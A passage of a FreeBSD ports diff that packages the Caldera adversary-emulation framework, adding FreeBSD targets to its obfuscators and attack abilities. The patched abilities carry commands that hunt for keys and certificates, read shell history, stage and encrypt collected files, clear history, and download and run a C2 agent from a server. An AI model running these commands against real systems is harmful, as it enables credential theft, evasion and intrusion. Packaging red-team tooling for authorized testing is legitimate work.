Obfuscation(BaseObfuscator): + return dict( + windows=['psh'], + darwin=['sh'], +- linux=['sh'] ++ linux=['sh'], ++ freebsd=['sh'] + ) + + """ EXECUTORS """ diff --git a/security/caldera/files/patch-plugins_stockpile_app_obfuscators_base64__jumble.py b/security/caldera/files/patch-plugins_stockpile_app_obfuscators_base64__jumble.py new file mode 100644 index 00000000000..281c9eecfc2 --- /dev/null +++ b/security/caldera/files/patch-plugins_stockpile_app_obfuscators_base64__jumble.py @@ -0,0 +1,12 @@ +--- plugins/stockpile/app/obfuscators/base64_jumble.py.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/app/obfuscators/base64_jumble.py +@@ -14,7 +14,8 @@ class Obfuscation(BaseObfuscator): + return dict( + windows=['psh'], + darwin=['sh'], +- linux=['sh'] ++ linux=['sh'], ++ freebsd=['sh'] + ) + + def run(self, link, **kwargs): diff --git a/security/caldera/files/patch-plugins_stockpile_app_obfuscators_base64__no__padding.py b/security/caldera/files/patch-plugins_stockpile_app_obfuscators_base64__no__padding.py new file mode 100644 index 00000000000..f74f3385cca --- /dev/null +++ b/security/caldera/files/patch-plugins_stockpile_app_obfuscators_base64__no__padding.py @@ -0,0 +1,12 @@ +--- plugins/stockpile/app/obfuscators/base64_no_padding.py.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/app/obfuscators/base64_no_padding.py +@@ -8,7 +8,8 @@ class Obfuscation(BaseObfuscator): + return dict( + windows=['psh'], + darwin=['sh'], +- linux=['sh'] ++ linux=['sh'], ++ freebsd=['sh'] + ) + + def run(self, link, **kwargs): diff --git a/security/caldera/files/patch-plugins_stockpile_app_obfuscators_caesar__cipher.py b/security/caldera/files/patch-plugins_stockpile_app_obfuscators_caesar__cipher.py new file mode 100644 index 00000000000..2d448ea635d --- /dev/null +++ b/security/caldera/files/patch-plugins_stockpile_app_obfuscators_caesar__cipher.py @@ -0,0 +1,12 @@ +--- plugins/stockpile/app/obfuscators/caesar_cipher.py.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/app/obfuscators/caesar_cipher.py +@@ -10,7 +10,8 @@ class Obfuscation(BaseObfuscator): + return dict( + windows=['psh'], + darwin=['sh'], +- linux=['sh'] ++ linux=['sh'], ++ freebsd=['sh'] + ) + + """ EXECUTORS """ diff --git a/security/caldera/files/patch-plugins_stockpile_app_obfuscators_steganography.py b/security/caldera/files/patch-plugins_stockpile_app_obfuscators_steganography.py new file mode 100644 index 00000000000..38c1030761f --- /dev/null +++ b/security/caldera/files/patch-plugins_stockpile_app_obfuscators_steganography.py @@ -0,0 +1,12 @@ +--- plugins/stockpile/app/obfuscators/steganography.py.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/app/obfuscators/steganography.py +@@ -14,7 +14,8 @@ class Obfuscation(BaseObfuscator): + def supported_platforms(self): + return dict( + darwin=['sh'], +- linux=['sh'] ++ linux=['sh'], ++ freebsd=['sh'] + ) + + """ EXECUTORS """ diff --git a/security/caldera/files/patch-plugins_stockpile_data_abilities_collection_02de522f-7e0a-4544-8afc-0c195f400f5f.yml b/security/caldera/files/patch-plugins_stockpile_data_abilities_collection_02de522f-7e0a-4544-8afc-0c195f400f5f.yml new file mode 100644 index 00000000000..06f0a024d80 --- /dev/null +++ b/security/caldera/files/patch-plugins_stockpile_data_abilities_collection_02de522f-7e0a-4544-8afc-0c195f400f5f.yml @@ -0,0 +1,11 @@ +--- plugins/stockpile/data/abilities/collection/02de522f-7e0a-4544-8afc-0c195f400f5f.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/collection/02de522f-7e0a-4544-8afc-0c195f400f5f.yml +@@ -15,7 +15,7 @@ + parsers: + plugins.stockpile.app.parsers.ssh: + - source: remote.ssh.cmd +- linux: ++ freebsd,linux: + sh: + command: | + pip install -q stormssh 2> /dev/null && storm list | sed 's/\x1b\[[0-9;]*m//g' diff --git a/security/caldera/files/patch-plugins_stockpile_data_abilities_collection_10fad81e-3f68-47be-83b6-fbee7711c6a9.yml b/security/caldera/files/patch-plugins_stockpile_data_abilities_collection_10fad81e-3f68-47be-83b6-fbee7711c6a9.yml new file mode 100644 index 00000000000..1d2d2ed8747 --- /dev/null +++ b/security/caldera/files/patch-plugins_stockpile_data_abilities_collection_10fad81e-3f68-47be-83b6-fbee7711c6a9.yml @@ -0,0 +1,11 @@ +--- plugins/stockpile/data/abilities/collection/10fad81e-3f68-47be-83b6-fbee7711c6a9.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/collection/10fad81e-3f68-47be-83b6-fbee7711c6a9.yml +@@ -33,7 +33,7 @@ + parsers: + plugins.stockpile.app.parsers.basic: + - source: host.dir.staged +- linux: ++ freebsd,linux: + sh: + command: | + chmod +x ./file_search.sh; ./file_search.sh --extensions '#{linux.included.extensions}' diff --git a/security/caldera/files/patch-plugins_stockpile_data_abilities_collection_30a8cf10-73dc-497c-8261-a64cc9e91505.yml b/security/caldera/files/patch-plugins_stockpile_data_abilities_collection_30a8cf10-73dc-497c-8261-a64cc9e91505.yml new file mode 100644 index 00000000000..08bc5028608 --- /dev/null +++ b/security/caldera/files/patch-plugins_stockpile_data_abilities_collection_30a8cf10-73dc-497c-8261-a64cc9e91505.yml @@ -0,0 +1,18 @@ +--- plugins/stockpile/data/abilities/collection/30a8cf10-73dc-497c-8261-a64cc9e91505.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/collection/30a8cf10-73dc-497c-8261-a64cc9e91505.yml +@@ -8,7 +8,7 @@ + attack_id: T1560.001 + name: "Archive Collected Data: Archive via Utility" + platforms: +- linux: ++ freebsd,linux: + sh: + command: | + tar -C #{host.dir.staged} -czf - . | gpg -c --pinentry-mode=loopback --passphrase #{host.archive.password} > #{host.dir.staged}.tar.gz.gpg && echo #{host.dir.staged}.tar.gz.gpg +@@ -29,4 +29,4 @@ + - source: host.dir.compress + requirements: + - plugins.stockpile.app.requirements.paw_provenance: +- - source: host.dir.staged +\ No newline at end of file ++ - source: host.dir.staged diff --git a/security/caldera/files/patch-plugins_stockpile_data_abilities_collection_4e97e699-93d7-4040-b5a3-2e906a58199e.yml b/security/caldera/files/patch-plugins_stockpile_data_abilities_collection_4e97e699-93d7-4040-b5a3-2e906a58199e.yml new file mode 100644 index 00000000000..f93fa21c439 --- /dev/null +++ b/security/caldera/files/patch-plugins_stockpile_data_abilities_collection_4e97e699-93d7-4040-b5a3-2e906a58199e.yml @@ -0,0 +1,11 @@ +--- plugins/stockpile/data/abilities/collection/4e97e699-93d7-4040-b5a3-2e906a58199e.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/collection/4e97e699-93d7-4040-b5a3-2e906a58199e.yml +@@ -12,7 +12,7 @@ + sh: + command: | + cp #{host.file.path[filters(technique=T1005,max=3)]} #{host.dir.staged[filters(max=1)]} +- linux: ++ freebsd,linux: + sh: + command: | + cp #{host.file.path[filters(technique=T1005,max=3)]} #{host.dir.staged[filters(max=1)]} diff --git a/security/caldera/files/patch-plugins_stockpile_data_abilities_collection_6469befa-748a-4b9c-a96d-f191fde47d89.yml b/security/caldera/files/patch-plugins_stockpile_data_abilities_collection_6469befa-748a-4b9c-a96d-f191fde47d89.yml new file mode 100644 index 00000000000..43e4ef8bb20 --- /dev/null +++ b/security/caldera/files/patch-plugins_stockpile_data_abilities_collection_6469befa-748a-4b9c-a96d-f191fde47d89.yml @@ -0,0 +1,11 @@ +--- plugins/stockpile/data/abilities/collection/6469befa-748a-4b9c-a96d-f191fde47d89.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/collection/6469befa-748a-4b9c-a96d-f191fde47d89.yml +@@ -17,7 +17,7 @@ + parsers: + plugins.stockpile.app.parsers.basic: + - source: host.dir.staged +- linux: ++ freebsd,linux: + sh: + command: | + mkdir -p staged && echo $PWD/staged diff --git a/security/caldera/files/patch-plugins_stockpile_data_abilities_collection_720a3356-eee1-4015-9135-0fc08f7eb2d5.yml b/security/caldera/files/patch-plugins_stockpile_data_abilities_collection_720a3356-eee1-4015-9135-0fc08f7eb2d5.yml new file mode 100644 index 00000000000..a5bf3dd80e5 --- /dev/null +++ b/security/caldera/files/patch-plugins_stockpile_data_abilities_collection_720a3356-eee1-4015-9135-0fc08f7eb2d5.yml @@ -0,0 +1,18 @@ +--- plugins/stockpile/data/abilities/collection/720a3356-eee1-4015-9135-0fc08f7eb2d5.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/collection/720a3356-eee1-4015-9135-0fc08f7eb2d5.yml +@@ -6,7 +6,7 @@ + attack_id: T1005 + name: Data from Local System + platforms: +- linux: ++ freebsd,linux: + sh: + command: | + for directoryname in $(find /home/ -name '.git' -type d 2>/dev/null | head -5); do +@@ -21,4 +21,4 @@ + Get-ChildItem C:\Users -Attributes Directory+Hidden -ErrorAction SilentlyContinue -Filter ".git" -Recurse | foreach {$_.parent.FullName} | Select-Object; exit 0; + parsers: + plugins.stockpile.app.parsers.basic: +- - source: host.dir.git +\ No newline at end of file ++ - source: host.dir.git diff --git a/security/caldera/files/patch-plugins_stockpile_data_abilities_collection_89955f55-529d-4d58-bed4-fed9e42515ec.yml b/security/caldera/files/patch-plugins_stockpile_data_abilities_collection_89955f55-529d-4d58-bed4-fed9e42515ec.yml new file mode 100644 index 00000000000..45cd636b78b --- /dev/null +++ b/security/caldera/files/patch-plugins_stockpile_data_abilities_collection_89955f55-529d-4d58-bed4-fed9e42515ec.yml @@ -0,0 +1,11 @@ +--- plugins/stockpile/data/abilities/collection/89955f55-529d-4d58-bed4-fed9e42515ec.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/collection/89955f55-529d-4d58-bed4-fed9e42515ec.yml +@@ -12,7 +12,7 @@ + sh: + command: | + curl #{remote.host.socket} +- linux: ++ freebsd,linux: + sh: + command: | + curl #{remote.host.socket} diff --git a/security/caldera/files/patch-plugins_stockpile_data_abilities_collection_90c2efaa-8205-480d-8bb6-61d90dbaf81b.yml b/security/caldera/files/patch-plugins_stockpile_data_abilities_collection_90c2efaa-8205-480d-8bb6-61d90dbaf81b.yml new file mode 100644 index 00000000000..d9d913ade3c --- /dev/null +++ b/security/caldera/files/patch-plugins_stockpile_data_abilities_collection_90c2efaa-8205-480d-8bb6-61d90dbaf81b.yml @@ -0,0 +1,11 @@ +--- plugins/stockpile/data/abilities/collection/90c2efaa-8205-480d-8bb6-61d90dbaf81b.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/collection/90c2efaa-8205-480d-8bb6-61d90dbaf81b.yml +@@ -27,7 +27,7 @@ + - source: host.file.path + edge: has_extension + target: file.sensitive.extension +- linux: ++ freebsd,linux: + sh: + command: | + find / -name '*.#{file.sensitive.extension}' -type f -not -path '*/\.*' -size -500k 2>/dev/null | head -5 diff --git a/security/caldera/files/patch-plugins_stockpile_data_abilities_collection_b007fe0c-c6b0-4fda-915c-255bbc070de2.yml b/security/caldera/files/patch-plugins_stockpile_data_abilities_collection_b007fe0c-c6b0-4fda-915c-255bbc070de2.yml new file mode 100644 index 00000000000..c21d7db379f --- /dev/null +++ b/security/caldera/files/patch-plugins_stockpile_data_abilities_collection_b007fe0c-c6b0-4fda-915c-255bbc070de2.yml @@ -0,0 +1,11 @@ +--- plugins/stockpile/data/abilities/collection/b007fe0c-c6b0-4fda-915c-255bbc070de2.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/collection/b007fe0c-c6b0-4fda-915c-255bbc070de2.yml +@@ -16,7 +16,7 @@ + psh,pwsh: + command: | + Get-Clipboard -raw +- linux: ++ freebsd,linux: + sh: + command: | + xclip -o diff --git a/security/caldera/files/patch-plugins_stockpile_data_abilities_command-and-control_0ab383be-b819-41bf-91b9-1bd4404d83bf.yml b/security/caldera/files/patch-plugins_stockpile_data_abilities_command-and-control_0ab383be-b819-41bf-91b9-1bd4404d83bf.yml new file mode 100644 index 00000000000..e369cd256f0 --- /dev/null +++ b/security/caldera/files/patch-plugins_stockpile_data_abilities_command-and-control_0ab383be-b819-41bf-91b9-1bd4404d83bf.yml @@ -0,0 +1,15 @@ +--- plugins/stockpile/data/abilities/command-and-control/0ab383be-b819-41bf-91b9-1bd4404d83bf.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/command-and-control/0ab383be-b819-41bf-91b9-1bd4404d83bf.yml +@@ -24,3 +24,12 @@ + python ragdoll.py -W $server#{app.contact.html} + cleanup: | + pkill -f ragdoll ++ freebsd: ++ sh: ++ command: | ++ server="#{app.contact.http}"; ++ curl -s -X POST -H "file:ragdoll.py" -H "platform:freebsd" $server/file/download > ragdoll.py; ++ pip install requests beautifulsoup4; ++ python ragdoll.py -W $server#{app.contact.html} ++ cleanup: | ++ pkill -f ragdoll diff --git a/security/caldera/files/patch-plugins_stockpile_data_abilities_credential-access_422526ec-27e9-429a-995b-c686a29561a4.yml b/security/caldera/files/patch-plugins_stockpile_data_abilities_credential-access_422526ec-27e9-429a-995b-c686a29561a4.yml new file mode 100644 index 00000000000..e618197bae1 --- /dev/null +++ b/security/caldera/files/patch-plugins_stockpile_data_abilities_credential-access_422526ec-27e9-429a-995b-c686a29561a4.yml @@ -0,0 +1,12 @@ +--- plugins/stockpile/data/abilities/credential-access/422526ec-27e9-429a-995b-c686a29561a4.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/credential-access/422526ec-27e9-429a-995b-c686a29561a4.yml +@@ -20,3 +20,9 @@ + parsers: + plugins.stockpile.app.parsers.ssh: + - source: remote.ssh.cmd ++ freebsd: ++ sh: ++ command: cat ~/.history ++ parsers: ++ plugins.stockpile.app.parsers.ssh: ++ - source: remote.ssh.cmd diff --git a/security/caldera/files/patch-plugins_stockpile_data_abilities_credential-access_de632c2d-a729-4b77-b781-6a6b09c148ba.yml b/security/caldera/files/patch-plugins_stockpile_data_abilities_credential-access_de632c2d-a729-4b77-b781-6a6b09c148ba.yml new file mode 100644 index 00000000000..6558aabecb2 --- /dev/null +++ b/security/caldera/files/patch-plugins_stockpile_data_abilities_credential-access_de632c2d-a729-4b77-b781-6a6b09c148ba.yml @@ -0,0 +1,13 @@ +--- plugins/stockpile/data/abilities/credential-access/de632c2d-a729-4b77-b781-6a6b09c148ba.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/credential-access/de632c2d-a729-4b77-b781-6a6b09c148ba.yml +@@ -19,7 +19,7 @@ + sh: + command: | + for i in .key .pgp .gpg .ppk .p12 .pem .pfx .cer .p7b .asc .crt;do find /Users -maxdepth 3 -name "*${i}" 2>/dev/null;done; +- linux: ++ freebsd,linux: + sh: + command: | +- for i in .key .pgp .gpg .ppk .p12 .pem .pfx .cer .p7b .asc .crt;do find /etc -maxdepth 3 -name "*${i}" 2>/dev/null;done; +\ No newline at end of file ++ for i in .key .pgp .gpg .ppk .p12 .pem .pfx .cer .p7b .asc .crt;do find /etc -maxdepth 3 -name "*${i}" 2>/dev/null;done; diff --git a/security/caldera/files/patch-plugins_stockpile_data_abilities_defense-evasion_36eecb80-ede3-442b-8774-956e906aff02.yml b/security/caldera/files/patch-plugins_stockpile_data_abilities_defense-evasion_36eecb80-ede3-442b-8774-956e906aff02.yml new file mode 100644 index 00000000000..81bbb5325bd --- /dev/null +++ b/security/caldera/files/patch-plugins_stockpile_data_abilities_defense-evasion_36eecb80-ede3-442b-8774-956e906aff02.yml @@ -0,0 +1,11 @@ +--- plugins/stockpile/data/abilities/defense-evasion/36eecb80-ede3-442b-8774-956e906aff02.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/defense-evasion/36eecb80-ede3-442b-8774-956e906aff02.yml +@@ -11,7 +11,7 @@ + darwin: + sh: + command: sleep 60 +- linux: ++ freebsd,linux: + sh: + command: sleep 60 + windows: diff --git a/security/caldera/files/patch-plugins_stockpile_data_abilities_defense-evasion_43b3754c-def4-4699-a673-1d85648fda6a.yml b/security/caldera/files/patch-plugins_stockpile_data_abilities_defense-evasion_43b3754c-def4-4699-a673-1d85648fda6a.yml new file mode 100644 index 00000000000..6d8cfc3162c --- /dev/null +++ b/security/caldera/files/patch-plugins_stockpile_data_abilities_defense-evasion_43b3754c-def4-4699-a673-1d85648fda6a.yml @@ -0,0 +1,15 @@ +--- plugins/stockpile/data/abilities/defense-evasion/43b3754c-def4-4699-a673-1d85648fda6a.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/defense-evasion/43b3754c-def4-4699-a673-1d85648fda6a.yml +@@ -16,6 +16,10 @@ + sh: + command: | + > $HOME/.bash_history && unset HISTFILE ++ freebsd: ++ sh: ++ command: | ++ > $HOME/.history && set history = 0 + windows: + psh: +- command: Clear-History;Clear +\ No newline at end of file ++ command: Clear-History;Clear diff --git a/security/caldera/files/patch-plugins_stockpile_data_abilities_defense-evasion_4cd4eb44-29a7-4259-91ae-e457b283a880.yml b/security/caldera/files/patch-plugins_stockpile_data_abilities_defense-evasion_4cd4eb44-29a7-4259-91ae-e457b283a880.yml new file mode 100644 index 00000000000..51d0b7dd24d --- /dev/null +++ b/security/caldera/files/patch-plugins_stockpile_data_abilities_defense-evasion_4cd4eb44-29a7-4259-91ae-e457b283a880.yml @@ -0,0 +1,17 @@ +--- plugins/stockpile/data/abilities/defense-evasion/4cd4eb44-29a7-4259-91ae-e457b283a880.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/defense-evasion/4cd4eb44-29a7-4259-91ae-e457b283a880.yml +@@ -12,11 +12,11 @@ + sh: + cleanup: | + rm #{payload} +- linux: ++ freebsd,linux: + sh: + cleanup: | + rm #{payload} + windows: + psh,pwsh: + cleanup: | +- Remove-Item -Force -Path "#{payload}" +\ No newline at end of file ++ Remove-Item -Force -Path "#{payload}" diff --git a/security/caldera/files/patch-plugins_stockpile_data_abilities_defense-evasion_5f844ac9-5f24-4196-a70d-17f0bd44a934.yml b/security/caldera/files/patch-plugins_stockpile_data_abilities_defense-evasion_5f844ac9-5f24-4196-a70d-17f0bd44a934.yml new file mode 100644 index 00000000000..d5ca5155314 --- /dev/null +++ b/security/caldera/files/patch-plugins_stockpile_data_abilities_defense-evasion_5f844ac9-5f24-4196-a70d-17f0bd44a934.yml @@ -0,0 +1,15 @@ +--- plugins/stockpile/data/abilities/defense-evasion/5f844ac9-5f24-4196-a70d-17f0bd44a934.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/defense-evasion/5f844ac9-5f24-4196-a70d-17f0bd44a934.yml +@@ -25,9 +25,9 @@ + path="$(pwd)/#{exe_name}"; + num_processes=$(for id in $(pgrep -f #{exe_name}); do lsof -p $id 2> /dev/null | grep "$path"; done | wc -l); + if [ "$num_processes" -le 1 ]; then /bin/rm -f "$path"; fi; +- linux: ++ freebsd,linux: + sh: + command: | + path="$(pwd)/#{exe_name}"; + num_processes=$(for id in $(pgrep -f #{exe_name}); do lsof -p $id 2> /dev/null | grep "$path"; done | wc -l); +- if [ "$num_processes" -le 1 ]; then /bin/rm -f "$path"; fi; +\ No newline at end of file ++ if [ "$num_processes" -le 1 ]; then /bin/rm -f "$path"; fi; diff --git a/security/caldera/files/patch-plugins_stockpile_data_abilities_discovery_30732a56-4a23-4307-9544-09caf2ed29d5.yml b/security/caldera/files/patch-plugins_stockpile_data_abilities_discovery_30732a56-4a23-4307-9544-09caf2ed29d5.yml new file mode 100644 index 00000000000..eb1e2728e0b --- /dev/null +++ b/security/caldera/files/patch-plugins_stockpile_data_abilities_discovery_30732a56-4a23-4307-9544-09caf2ed29d5.yml @@ -0,0 +1,11 @@ +--- plugins/stockpile/data/abilities/discovery/30732a56-4a23-4307-9544-09caf2ed29d5.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/discovery/30732a56-4a23-4307-9544-09caf2ed29d5.yml +@@ -12,7 +12,7 @@ + sh: + command: | + find / -type d -user #{host.user.name} \( -perm -g+w -or -perm -o+w \) 2>/dev/null -exec ls -adl {} \; +- linux: ++ freebsd,linux: + sh: + command: | + find / -type d -user #{host.user.name} \( -perm -g+w -or -perm -o+w \) 2>/dev/null -exec ls -adl {} \; diff --git a/security/caldera/files/patch-plugins_stockpile_data_abilities_discovery_335cea7b-bec0-48c6-adfb-6066070f5f68.yml b/security/caldera/files/patch-plugins_stockpile_data_abilities_discovery_335cea7b-bec0-48c6-adfb-6066070f5f68.yml new file mode 100644 index 00000000000..f85f5fb163d --- /dev/null +++ b/security/caldera/files/patch-plugins_stockpile_data_abilities_discovery_335cea7b-bec0-48c6-adfb-6066070f5f68.yml @@ -0,0 +1,11 @@ +--- plugins/stockpile/data/abilities/discovery/335cea7b-bec0-48c6-adfb-6066070f5f68.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/discovery/335cea7b-bec0-48c6-adfb-6066070f5f68.yml +@@ -12,7 +12,7 @@ + sh: + command: | + ps +- linux: ++ freebsd,linux: + sh: + command: | + ps diff --git a/security/caldera/files/patch-plugins_stockpile_data_abilities_discovery_3a2ce3d5-e9e2-4344-ae23-470432ff8687.yml b/security/caldera/files/patch-plugins_stockpile_data_abilities_discovery_3a2ce3d5-e9e2-4344-ae23-470432ff8687.yml new file mode 100644 index 00000000000..1f0678a03bf --- /dev/null +++ b/security/caldera/files/patch-plugins_stockpile_data_abilities_discovery_3a2ce3d5-e9e2-4344-ae23-470432ff8687.yml @@ -0,0 +1,11 @@ +--- plugins/stockpile/data/abilities/discovery/3a2ce3d5-e9e2-4344-ae23-470432ff8687.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/discovery/3a2ce3d5-e9e2-4344-ae23-470432ff8687.yml +@@ -12,7 +12,7 @@ + sh: + command: | + nmap -sV -p #{remote.host.port} #{remote.host.ip} +- linux: ++ freebsd,linux: + sh: + command: | + nmap -sV -p #{remote.host.port} #{remote.host.ip} diff --git a/security/caldera/files/patch-plugins_stockpile_data_abilities_discovery_3b5db901-2cb8-4df7-8043-c4628a6a5d5a.yml b/security/caldera/files/patch-plugins_stockpile_data_abilities_discovery_3b5db901-2cb8-4df7-8043-c4628a6a5d5a.yml new file mode 100644 index 00000000000..9b6d16a6890 --- /dev/null +++ b/security/caldera/files/patch-plugins_stockpile_data_abilities_discovery_3b5db901-2cb8-4df7-8043-c4628a6a5d5a.yml @@ -0,0 +1,11 @@ +--- plugins/stockpile/data/abilities/discovery/3b5db901-2cb8-4df7-8043-c4628a6a5d5a.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/discovery/3b5db901-2cb8-4df7-8043-c4628a6a5d5a.yml +@@ -12,7 +12,7 @@ + sh: + command: | + ps aux | grep #{host.user.name} +- linux: ++ freebsd,linux: + sh: + command: | + ps aux | grep #{host.user.name} diff --git a/security/caldera/files/patch-plugins_stockpile_data_abilities_discovery_47abe1f5-55a5-46cc-8cad-506dac8ea6d9.yml b/security/caldera/files/patch-plugins_stockpile_data_abilities_discovery_47abe1f5-55a5-46cc-8cad-506dac8ea6d9.yml new file mode 100644 index 00000000000..537f8779c2a --- /dev/null +++ b/security/caldera/files/patch-plugins_stockpile_data_abilities_discovery_47abe1f5-55a5-46cc-8cad-506dac8ea6d9.yml @@ -0,0 +1,17 @@ +--- plugins/stockpile/data/abilities/discovery/47abe1f5-55a5-46cc-8cad-506dac8ea6d9.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/discovery/47abe1f5-55a5-46cc-8cad-506dac8ea6d9.yml +@@ -28,3 +28,14 @@ + target: remote.host.port + payloads: + - scanner.py ++ freebsd: ++ sh: ++ command: | ++ python3.9 scanner.py -i #{remote.host.ip} ++ parsers: ++ plugins.stockpile.app.parsers.scan: ++ - source: remote.host.ip ++ edge: has_open_port ++ target: remote.host.port ++ payloads: ++ - scanner.py diff --git a/security/caldera/files/patch-plugins_stockpile_data_abilities_discovery_52177cc1-b9ab-4411-ac21-2eadc4b5d3b8.yml b/security/caldera/files/patch-plugins_stockpile_data_abilities_discovery_52177cc1-b9ab-4411-ac21-2eadc4b5d3b8.yml new file mode 100644 index 00000000000..e29e243da46 --- /dev/null +++ b/security/caldera/files/patch-plugins_stockpile_data_abilities_discovery_52177cc1-b9ab-4411-ac21-2eadc4b5d3b8.yml @@ -0,0 +1,11 @@ +--- plugins/stockpile/data/abilities/discovery/52177cc1-b9ab-4411-ac21-2eadc4b5d3b8.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/discovery/52177cc1-b9ab-4411-ac21-2eadc4b5d3b8.yml +@@ -12,7 +12,7 @@ + sh: + command: | + ls +- linux: ++ freebsd,linux: + sh: + command: | + ls diff --git a/security/caldera/files/patch-plugins_stockpile_data_abilities_discovery_5a39d7ed-45c9-4a79-b581-e5fb99e24f65.yml b/security/caldera/files/patch-plugins_stockpile_data_abilities_discovery_5a39d7ed-45c9-4a79-b581-e5fb99e24f65.yml new file mode 100644 index 00000000000..4adc35e7b33 --- /dev/null +++ b/security/caldera/files/patch-plugins_stockpile_data_abilities_discovery_5a39d7ed-45c9-4a79-b581-e5fb99e24f65.yml @@ -0,0 +1,12 @@ +--- plugins/stockpile/data/abilities/discovery/5a39d7ed-45c9-4a79-b581-e5fb99e24f65.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/discovery/5a39d7ed-45c9-4a79-b581-e5fb99e24f65.yml +@@ -42,6 +42,6 @@ + darwin: + sh: + command: ps aux +- linux: ++ freebsd,linux: + sh: +- command: ps aux +\ No newline at end of file ++ command: ps aux diff --git a/security/caldera/files/patch-plugins_stockpile_data_abilities_discovery_5c4dd985-89e3-4590-9b57-71fed66ff4e2.yml b/security/caldera/files/patch-plugins_stockpile_data_abilities_discovery_5c4dd985-89e3-4590-9b57-71fed66ff4e2.yml new file mode 100644 index 00000000000..493ff051dcd --- /dev/null +++ b/security/caldera/files/patch-plugins_stockpile_data_abilities_discovery_5c4dd985-89e3-4590-9b57-71fed66ff4e2.yml @@ -0,0 +1,12 @@ +--- plugins/stockpile/data/abilities/discovery/5c4dd985-89e3-4590-9b57-71fed66ff4e2.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/discovery/5c4dd985-89e3-4590-9b57-71fed66ff4e2.yml +@@ -15,6 +15,6 @@ + darwin: + sh: + command: groups +- linux: ++ freebsd,linux: + sh: +- command: groups +\ No newline at end of file ++ command: groups diff --git a/security/caldera/files/patch-plugins_stockpile_data_abilities_discovery_5f77ecf9-613f-4863-8d2f-ed6b447a4633.yml b/security/caldera/files/patch-plugins_stockpile_data_abilities_discovery_5f77ecf9-613f-4863-8d2f-ed6b447a4633.yml new file mode 100644 index 00000000000..09037b91263 --- /dev/null +++ b/security/caldera/files/patch-plugins_stockpile_data_abilities_discovery_5f77ecf9-613f-4863-8d2f-ed6b447a4633.yml @@ -0,0 +1,11 @@ +--- plugins/stockpile/data/abilities/discovery/5f77ecf9-613f-4863-8d2f-ed6b447a4633.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/discovery/5f77ecf9-613f-4863-8d2f-ed6b447a4633.yml +@@ -12,7 +12,7 @@ + sh: + command: | + cat ~/.ssh/known_hosts +- linux: ++ freebsd,linux: + sh: + command: | + cat ~/.ssh/known_hosts diff --git a/security/caldera/files/patch-plugins_stockpile_data_abilities_discovery_638fb6bb-ba39-4285-93d1-7e4775b033a8.yml b/security/caldera/files/patch-plugins_stockpile_data_abilities_discovery_638fb6bb-ba39-4285-93d1-7e4775b033a8.yml new file mode 100644 index 00000000000..5c197bd60b6 --- /dev/null +++ b/security/caldera/files/patch-plugins_stockpile_data_abilities_discovery_638fb6bb-ba39-4285-93d1-7e4775b033a8.yml @@ -0,0 +1,13 @@ +--- plugins/stockpile/data/abilities/discovery/638fb6bb-ba39-4285-93d1-7e4775b033a8.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/discovery/638fb6bb-ba39-4285-93d1-7e4775b033a8.yml +@@ -15,6 +15,10 @@ + sh: + command: | + netstat -anto ++ freebsd: ++ sh: ++ command: | ++ netstat -aSp tcp + windows: + psh: + command: | diff --git a/security/caldera/files/patch-plugins_stockpile_data_abilities_discovery_6c91884e-11ec-422f-a6ed-e76774b0daac.yml b/security/caldera/files/patch-plugins_stockpile_data_abilities_discovery_6c91884e-11ec-422f-a6ed-e76774b0daac.yml new file mode 100644 index 00000000000..400b12042c7 --- /dev/null +++ b/security/caldera/files/patch-plugins_stockpile_data_abilities_discovery_6c91884e-11ec-422f-a6ed-e76774b0daac.yml @@ -0,0 +1,11 @@ +--- plugins/stockpile/data/abilities/discovery/6c91884e-11ec-422f-a6ed-e76774b0daac.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/discovery/6c91884e-11ec-422f-a6ed-e76774b0daac.yml +@@ -14,7 +14,7 @@ + - source: host.print.file + edge: has_size + target: host.print.size +- linux: ++ freebsd,linux: + sh: + command: lpq -a + parsers: diff --git a/security/caldera/files/patch-plugins_stockpile_data_abilities_discovery_6e1a53c0-7352-4899-be35-fa7f364d5722.yml b/security/caldera/files/patch-plugins_stockpile_data_abilities_discovery_6e1a53c0-7352-4899-be35-fa7f364d5722.yml new file mode 100644 index 00000000000..8daee82cafc --- /dev/null +++ b/security/caldera/files/patch-plugins_stockpile_data_abilities_discovery_6e1a53c0-7352-4899-be35-fa7f364d5722.yml @@ -0,0 +1,11 @@ +--- 